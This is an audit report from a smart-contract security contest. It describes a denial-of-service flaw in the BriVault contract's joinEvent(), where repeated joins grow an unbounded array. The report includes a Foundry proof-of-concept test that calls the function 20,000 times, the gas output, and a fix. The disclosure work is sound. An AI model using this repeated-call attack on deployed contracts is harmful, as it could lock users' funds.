BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Missing Duplicate Check in joinEvent() Enables DOS Attack and State Corruption

0xsnoweth

Root + Impact

Description

  • Normal Behavior: Users should only be able to call joinEvent() once per tournament to select their team. The function should prevent duplicate entries to maintain accurate participant counts and enable efficient winner calculations.

  • Vulnerability: The joinEvent() function lacks a check to prevent multiple calls by the same user. Each call pushes msg.sender to the usersAddress array, increments numberOfParticipants, and adds to totalParticipantShares, regardless of whether the user has already joined.

// function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// ... validation checks ...
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
@> usersAddress.push(msg.sender); // No duplicate check
@> numberOfParticipants++; // Incremented every call
@> totalParticipantShares += participantShares; // Accumulated every call
emit joinedEvent(msg.sender, countryId);
}

This enables a Denial of Service (DOS) attack where an attacker calls joinEvent() thousands of times, causing _getWinnerShares() to iterate through an unbounded array when setWinner() is called, consuming excessive gas and potentially exceeding block limits.

Risk

Likelihood:

  • Reason 1: Any user who has deposited can call joinEvent() unlimited times with minimal cost (only gas fees).

  • Reason 2: The protocol provides no mechanism to prevent or detect this attack. There are no rate limits, duplicate checks, or array size restrictions.


Impact:

  • Impact 1: Complete protocol failure - when the owner calls setWinner(), the function must iterate through the entire usersAddress array in _getWinnerShares(). With 20,000+ entries, this consumes 25M+ gas, approaching Ethereum's block gas limit (~30M). This makes setWinner() extremely risky or impossible to execute, permanently locking all user funds in the vault.


  • Impact 2: State corruption - numberOfParticipants and totalParticipantShares become grossly inflated, providing false metrics about tournament participation.

Proof of Concept

you can copy and paste the below code onto the existing test suite.

function test_denialOfServiceAttack() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
​
//Now the attacker will try to deposit and first we would check what the array updated the first time.
//we start by minting for the attacker
address attacker = makeAddr("attacker");
mockToken.mint(attacker, 1000 ether);
​
//then we approve the contract for it to accept all the amounts it can recieve.
vm.startPrank(attacker);
mockToken.approve(address(briVault), type(uint256).max);
​
// The attacker now deposits.
uint256 attackerShares = briVault.deposit(1000 ether, attacker);
uint256 expectedShares = 985 ether;
console.log("The total shares the attacker has: ", attackerShares / 1e18, "ether");
assertEq(attackerShares, expectedShares, "attacker should get 985 after fees are taken away");
​
// Attacker now calls the joinEvent function 20,000 times
​
for (uint256 i = 0; i < 20000; i++) {
briVault.joinEvent(i % 48);
}
vm.stopPrank();
​
uint256 finalLength = briVault._getUserAddressesLength();
console.log("Array length after 20000 same addresses joins the event: BUG", finalLength);
assertEq(finalLength, 20000, "Array should contain 20000 same addresses entries.");
​
​
//Count occurances
​
uint256 count = 0;
for ( uint256 i = 0; i < finalLength; i++) {
if (briVault.usersAddress(i) == attacker) {
count++;
}
​
}
console.log("The attacker appears in the userAddress array for :", count, "Amount of times.");
assertEq(count, 20000, "Same attacker should appear a 20000 times");
​
// Warp past event end date
vm.warp(briVault.eventEndDate() + 1);
// Owner calls setWinner() - consumes excessive gas
vm.startPrank(owner);
uint256 gasBefore = gasleft();
briVault.setWinner(10);
uint256 gasUsed = gasBefore - gasleft();
console.log("Gas used for setWinner():", gasUsed);
// Gas consumption: 25,299,445 - dangerously close to block limit
assertTrue(gasUsed > 10_000_000, "Unbounded loop causes excessive gas");
vm.stopPrank();
}

The output given:

Compiler run successful!
​
Ran 1 test for test/briVault.t.sol:BriVaultTest
[PASS] test_denialOfServiceAttackss() (gas: 637621768)
Logs:
The total shares the attacker has: 985 ether
Array length after 20000 same addresses joins the event: BUG 20000
The attacker appears in the userAddress array for : 20000 Amount of times.
Gas used for setWinner(): 25299445
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 623.50ms (622.14ms CPU time)

Recommended Mitigation

Add a duplicate check in joinEvent() to prevent users from joining multiple times:

function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
+ // Prevent duplicate joins
+ if (bytes(userToCountry[msg.sender]).length > 0) {
+ revert("Already joined event");
+ }
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}

Alternative: Replace the usersAddress array with a mapping-based approach to avoid unbounded iteration entirely.

Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unbounded Loop in _getWinnerShares Causes Denial of Service

The _getWinnerShares() function is intended to iterate through all users and sum their shares for the winning country, returning the total.

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!